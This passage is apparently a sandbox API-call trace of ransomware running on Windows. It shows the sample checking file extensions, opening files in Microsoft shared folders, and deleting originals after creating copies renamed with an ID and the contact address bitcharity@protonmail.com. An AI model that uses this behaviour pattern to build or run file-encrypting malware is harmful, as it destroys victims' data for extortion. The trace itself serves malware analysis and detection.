dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.785] SetEndOfFile (hFile=0x108c) returned 1 [0138.786] CloseHandle (hObject=0x108c) returned 1 [0138.786] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0138.786] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml")) returned 1 [0138.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0138.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0138.786] lstrlenW (lpString=".doc") returned 4 [0138.787] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0138.787] lstrlenW (lpString=".docx") returned 5 [0138.787] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0138.787] lstrlenW (lpString=".pdf") returned 4 [0138.787] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0138.787] lstrlenW (lpString=".xls") returned 4 [0138.787] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0138.787] lstrlenW (lpString=".xlsx") returned 5 [0138.787] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0138.787] lstrlenW (lpString=".ppt") returned 4 [0138.787] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0138.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0138.787] lstrlenW (lpString=".zip") returned 4 [0138.787] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0138.787] lstrlenW (lpString=".rar") returned 4 [0138.787] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0138.787] lstrlenW (lpString=".bz2") returned 4 [0138.787] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0138.787] lstrlenW (lpString=".7z") returned 3 [0138.787] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0138.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0138.787] lstrlenW (lpString=".dbf") returned 4 [0138.787] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0138.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0138.787] lstrlenW (lpString=".1cd") returned 4 [0138.787] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0138.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0138.787] lstrlenW (lpString=".jpg") returned 4 [0138.787] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0138.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0138.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0138.787] lstrlenW (lpString=".doc") returned 4 [0138.787] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0138.788] lstrlenW (lpString=".docx") returned 5 [0138.788] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0138.788] lstrlenW (lpString=".pdf") returned 4 [0138.788] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0138.788] lstrlenW (lpString=".xls") returned 4 [0138.788] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0138.788] lstrlenW (lpString=".xlsx") returned 5 [0138.788] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0138.788] lstrlenW (lpString=".ppt") returned 4 [0138.788] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0138.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0138.788] lstrlenW (lpString=".zip") returned 4 [0138.788] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0138.788] lstrlenW (lpString=".rar") returned 4 [0138.788] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0138.788] lstrlenW (lpString=".bz2") returned 4 [0138.788] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0138.788] lstrlenW (lpString=".7z") returned 3 [0138.788] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0138.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0138.788] lstrlenW (lpString=".dbf") returned 4 [0138.788] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0138.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0138.788] lstrlenW (lpString=".1cd") returned 4 [0138.788] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0138.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0138.788] lstrlenW (lpString=".jpg") returned 4 [0138.788] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0138.789] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0138.789] lstrlenW (lpString="Content.xml") returned 11 [0138.789] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1090 [0139.188] GetFileSizeEx (in: hFile=0x1090, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=27045) returned 1 [0139.188] CloseHandle (hObject=0x1090) returned 1 [0139.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0139.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0139.189] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0139.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0139.190] lstrlenW (lpString=".doc") returned 4 [0139.190] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0139.190] lstrlenW (lpString=".docx") returned 5 [0139.190] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0139.190] lstrlenW (lpString=".pdf") returned 4 [0139.190] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0139.190] lstrlenW (lpString=".xls") returned 4 [0139.190] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0139.190] lstrlenW (lpString=".xlsx") returned 5 [0139.190] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0139.190] lstrlenW (lpString=".ppt") returned 4 [0139.190] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0139.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0139.190] lstrlenW (lpString=".zip") returned 4 [0139.190] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0139.190] lstrlenW (lpString=".rar") returned 4 [0139.190] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0139.190] lstrlenW (lpString=".bz2") returned 4 [0139.190] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0139.190] lstrlenW (lpString=".7z") returned 3 [0139.190] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0139.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0139.190] lstrlenW (lpString=".dbf") returned 4 [0139.190] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0139.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0139.190] lstrlenW (lpString=".1cd") returned 4 [0139.190] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0139.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0139.191] lstrlenW (lpString=".jpg") returned 4 [0139.191] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0139.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0139.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0139.191] lstrlenW (lpString=".doc") returned 4 [0139.191] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0139.191] lstrlenW (lpString=".docx") returned 5 [0139.191] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0139.191] lstrlenW (lpString=".pdf") returned 4 [0139.191] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0139.191] lstrlenW (lpString=".xls") returned 4 [0139.191] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0139.191] lstrlenW (lpString=".xlsx") returned 5 [0139.191] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0139.191] lstrlenW (lpString=".ppt") returned 4 [0139.191] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0139.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0139.191] lstrlenW (lpString=".zip") returned 4 [0139.191] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0139.191] lstrlenW (lpString=".rar") returned 4 [0139.191] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0139.191] lstrlenW (lpString=".bz2") returned 4 [0139.191] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0139.191] lstrlenW (lpString=".7z") returned 3 [0139.191] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0139.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0139.191] lstrlenW (lpString=".dbf") returned 4 [0139.191] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0139.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0139.191] lstrlenW (lpString=".1cd") returned 4 [0139.192] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0139.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0139.192] lstrlenW (lpString=".jpg") returned 4 [0139.192] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0139.192] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0139.192] lstrlenW (lpString="insert.xml") returned 10 [0139.192] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0139.315] GetFileSizeEx (in: hFile=0x10c0, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=215) returned 1 [0139.315] CloseHandle (hObject=0x10c0) returned 1 [0139.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml")) returned 0x20 [0139.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0139.323] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0139.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0139.331] lstrlenW (lpString=".doc") returned 4 [0139.331] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0139.331] lstrlenW (lpString=".docx") returned 5 [0139.331] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0139.331] lstrlenW (lpString=".pdf") returned 4 [0139.331] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0139.331] lstrlenW (lpString=".xls") returned 4 [0139.331] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0139.331] lstrlenW (lpString=".xlsx") returned 5 [0139.331] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0139.331] lstrlenW (lpString=".ppt") returned 4 [0139.331] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0139.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0139.332] lstrlenW (lpString=".zip") returned 4 [0139.332] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0139.332] lstrlenW (lpString=".rar") returned 4 [0139.332] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0139.332] lstrlenW (lpString=".bz2") returned 4 [0139.332] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0139.332] lstrlenW (lpString=".7z") returned 3 [0139.332] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0139.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0139.332] lstrlenW (lpString=".dbf") returned 4 [0139.332] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0139.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0139.332] lstrlenW (lpString=".1cd") returned 4 [0139.332] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0139.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0139.332] lstrlenW (lpString=".jpg") returned 4 [0139.333] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0139.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0139.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0139.333] lstrlenW (lpString=".doc") returned 4 [0139.333] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0139.333] lstrlenW (lpString=".docx") returned 5 [0139.333] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0139.333] lstrlenW (lpString=".pdf") returned 4 [0139.333] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0139.333] lstrlenW (lpString=".xls") returned 4 [0139.333] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0139.333] lstrlenW (lpString=".xlsx") returned 5 [0139.333] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0139.333] lstrlenW (lpString=".ppt") returned 4 [0139.333] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0139.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0139.334] lstrlenW (lpString=".zip") returned 4 [0139.334] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0139.334] lstrlenW (lpString=".rar") returned 4 [0139.334] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0139.334] lstrlenW (lpString=".bz2") returned 4 [0139.334] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0139.334] lstrlenW (lpString=".7z") returned 3 [0139.334] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0139.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0139.334] lstrlenW (lpString=".dbf") returned 4 [0139.334] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0139.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0139.334] lstrlenW (lpString=".1cd") returned 4 [0139.334] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0139.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0139.334] lstrlenW (lpString=".jpg") returned 4 [0139.334] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0139.335] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0139.335] lstrlenW (lpString="kor-kor.xml") returned 11 [0139.335] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1014 [0139.337] GetFileSizeEx (in: hFile=0x1014, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=392) returned 1 [0139.337] CloseHandle (hObject=0x1014) returned 1 [0139.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0139.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0139.337] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0139.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0139.337] lstrlenW (lpString=".doc") returned 4 [0139.337] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0139.337] lstrlenW (lpString=".docx") returned 5 [0139.337] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0139.337] lstrlenW (lpString=".pdf") returned 4 [0139.337] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0139.337] lstrlenW (lpString=".xls") returned 4 [0139.337] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0139.337] lstrlenW (lpString=".xlsx") returned 5 [0139.337] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0139.337] lstrlenW (lpString=".ppt") returned 4 [0139.338] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0139.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0139.338] lstrlenW (lpString=".zip") returned 4 [0139.338] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0139.338] lstrlenW (lpString=".rar") returned 4 [0139.338] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0139.338] lstrlenW (lpString=".bz2") returned 4 [0139.338] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0139.338] lstrlenW (lpString=".7z") returned 3 [0139.338] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0139.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0139.338] lstrlenW (lpString=".dbf") returned 4 [0139.338] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0139.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0139.338] lstrlenW (lpString=".1cd") returned 4 [0139.338] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0139.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0139.338] lstrlenW (lpString=".jpg") returned 4 [0139.338] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0139.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0139.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0139.338] lstrlenW (lpString=".doc") returned 4 [0139.338] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0139.338] lstrlenW (lpString=".docx") returned 5 [0139.338] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0139.338] lstrlenW (lpString=".pdf") returned 4 [0139.339] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0139.339] lstrlenW (lpString=".xls") returned 4 [0139.339] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0139.339] lstrlenW (lpString=".xlsx") returned 5 [0139.339] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0139.339] lstrlenW (lpString=".ppt") returned 4 [0139.339] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0139.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0139.339] lstrlenW (lpString=".zip") returned 4 [0139.339] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0139.339] lstrlenW (lpString=".rar") returned 4 [0139.339] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0139.339] lstrlenW (lpString=".bz2") returned 4 [0139.339] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0139.339] lstrlenW (lpString=".7z") returned 3 [0139.339] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0139.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0139.339] lstrlenW (lpString=".dbf") returned 4 [0139.339] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0139.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0139.339] lstrlenW (lpString=".1cd") returned 4 [0139.339] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0139.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0139.339] lstrlenW (lpString=".jpg") returned 4 [0139.339] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0139.340] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0139.340] lstrlenW (lpString="keypad.xml") returned 10 [0139.340] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1014 [0139.340] GetFileSizeEx (in: hFile=0x1014, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=693) returned 1 [0139.340] CloseHandle (hObject=0x1014) returned 1 [0139.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml")) returned 0x20 [0139.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0139.340] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0139.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0139.340] lstrlenW (lpString=".doc") returned 4 [0139.340] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0139.341] lstrlenW (lpString=".docx") returned 5 [0139.341] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0139.341] lstrlenW (lpString=".pdf") returned 4 [0139.341] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0139.341] lstrlenW (lpString=".xls") returned 4 [0139.341] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0139.341] lstrlenW (lpString=".xlsx") returned 5 [0139.341] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0139.341] lstrlenW (lpString=".ppt") returned 4 [0139.341] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0139.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0139.341] lstrlenW (lpString=".zip") returned 4 [0139.341] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0139.341] lstrlenW (lpString=".rar") returned 4 [0139.341] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0139.341] lstrlenW (lpString=".bz2") returned 4 [0139.341] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0139.341] lstrlenW (lpString=".7z") returned 3 [0139.341] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0139.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0139.341] lstrlenW (lpString=".dbf") returned 4 [0139.341] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0139.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0139.341] lstrlenW (lpString=".1cd") returned 4 [0139.341] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0139.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0139.341] lstrlenW (lpString=".jpg") returned 4 [0139.341] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0139.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0139.342] lstrlenW 